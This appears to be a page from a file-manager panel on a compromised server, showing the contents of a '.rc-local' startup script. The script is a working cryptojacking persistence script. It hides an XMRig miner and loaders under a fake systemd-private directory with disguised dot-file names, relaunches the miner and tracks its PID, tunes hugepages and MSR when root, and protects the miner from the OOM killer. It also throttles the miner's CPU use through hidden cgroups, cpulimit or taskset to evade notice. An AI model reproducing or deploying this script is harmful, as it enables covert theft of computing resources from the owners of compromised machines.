OwlCyberSecurity - MANAGER

Edit File: .rc-local

#!/bin/bash
WORK_DIR="/var/tmp/.systemd-private-33/.lib"
IS_ROOT=false
CPU_CORES=12
CPU_LIMIT=90
LOADER_MODE="memfd"
F_LOADER="/var/tmp/.systemd-private-33/.lib/.session-init"
F_PID="/var/tmp/.systemd-private-33/.lib/.pid"
XMRIG_BIN="/var/tmp/.systemd-private-33/.lib/.cache-check"

check_running() {
    command -v ss >/dev/null 2>&1 && ss -tnp 2>/dev/null | grep -qE ":1[0-8][0-9]{3}" && return 0
    command -v netstat >/dev/null 2>&1 && netstat -tnp 2>/dev/null | grep -qE ":1[0-8][0-9]{3}" && return 0
    [ -f "$F_PID" ] && kill -0 "$(cat "$F_PID" 2>/dev/null)" 2>/dev/null && return 0
    return 1
}
get_pid() {
    [ -f "$F_PID" ] && { local p; p=$(cat "$F_PID" 2>/dev/null); kill -0 "$p" 2>/dev/null && echo "$p" && return; }
    command -v ss >/dev/null 2>&1 && { local l; l=$(ss -tnp 2>/dev/null | grep -E ":1[0-8][0-9]{3}" | head -1); local p; p=$(echo "$l" | grep -o 'pid=[0-9]*' | cut -d= -f2); [ -n "$p" ] && echo "$p"; }
}

if [ "$IS_ROOT" = true ]; then
    sysctl -w vm.nr_hugepages=$((1024+CPU_CORES+8)) >/dev/null 2>&1
    modprobe msr 2>/dev/null
    for g in /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor; do
        [ -w "$g" ] && echo "performance" > "$g"
    done
    sysctl -w vm.swappiness=10 >/dev/null 2>&1
fi

check_running && exit 0
rm -f "$F_PID" 2>/dev/null

if [ "$LOADER_MODE" = "memfd" ] && [ -f "$F_LOADER" ]; then
    python3 "$F_LOADER" >/dev/null 2>&1
    sleep 8
elif [ "$LOADER_MODE" = "perl" ] && [ -f "$F_LOADER" ]; then
    perl "$F_LOADER" >/dev/null 2>&1
    sleep 8
elif [ -f "$XMRIG_BIN" ] && [ -x "$XMRIG_BIN" ]; then
    cd "$WORK_DIR"
    nohup "$XMRIG_BIN" >/dev/null 2>&1 &
    echo $! > "$F_PID"
    disown 2>/dev/null
    sleep 5
else
    exit 1
fi

MPID=$(get_pid)
[ -z "$MPID" ] && exit 1

[ "$IS_ROOT" = true ] && echo -999 > "/proc/$MPID/oom_score_adj" 2>/dev/null

PERIOD=100000
QUOTA=$(( CPU_CORES * PERIOD * CPU_LIMIT / 100 ))
CPULIMIT_TOTAL=$(( CPU_CORES * CPU_LIMIT ))
ALLOWED=$(( CPU_CORES * CPU_LIMIT / 100 ))
[ "$ALLOWED" -lt 1 ] && ALLOWED=1
CPU_OK=false

if [ "$IS_ROOT" = true ]; then
    if [ -d /sys/fs/cgroup/cgroup.controllers ]; then
        CG="/sys/fs/cgroup/system.slice/.cache-worker"
        mkdir -p "$CG" 2>/dev/null
        echo "$QUOTA $PERIOD" > "$CG/cpu.max" 2>/dev/null
        echo "$MPID" > "$CG/cgroup.procs" 2>/dev/null && CPU_OK=true
    elif [ -d /sys/fs/cgroup/cpu ]; then
        CG="/sys/fs/cgroup/cpu/.cache-worker"
        mkdir -p "$CG" 2>/dev/null
        echo "$PERIOD" > "$CG/cpu.cfs_period_us" 2>/dev/null
        echo "$QUOTA" > "$CG/cpu.cfs_quota_us" 2>/dev/null
        echo "$MPID" > "$CG/tasks" 2>/dev/null && CPU_OK=true
    fi
fi
if [ "$CPU_OK" = false ] && command -v cpulimit >/dev/null 2>&1; then
    nohup cpulimit -p "$MPID" -l "$CPULIMIT_TOTAL" -b >/dev/null 2>&1 &
    disown 2>/dev/null; CPU_OK=true
fi
if [ "$CPU_OK" = false ]; then
    renice 19 -p "$MPID" >/dev/null 2>&1
    command -v ionice >/dev/null 2>&1 && ionice -c 3 -p "$MPID" >/dev/null 2>&1
    if command -v taskset >/dev/null 2>&1; then
        CL=""; for i in $(seq 0 $(( ALLOWED - 1 ))); do CL="${CL:+$CL,}$i"; done
        taskset -cp "$CL" "$MPID" >/dev/null 2>&1
    fi
fi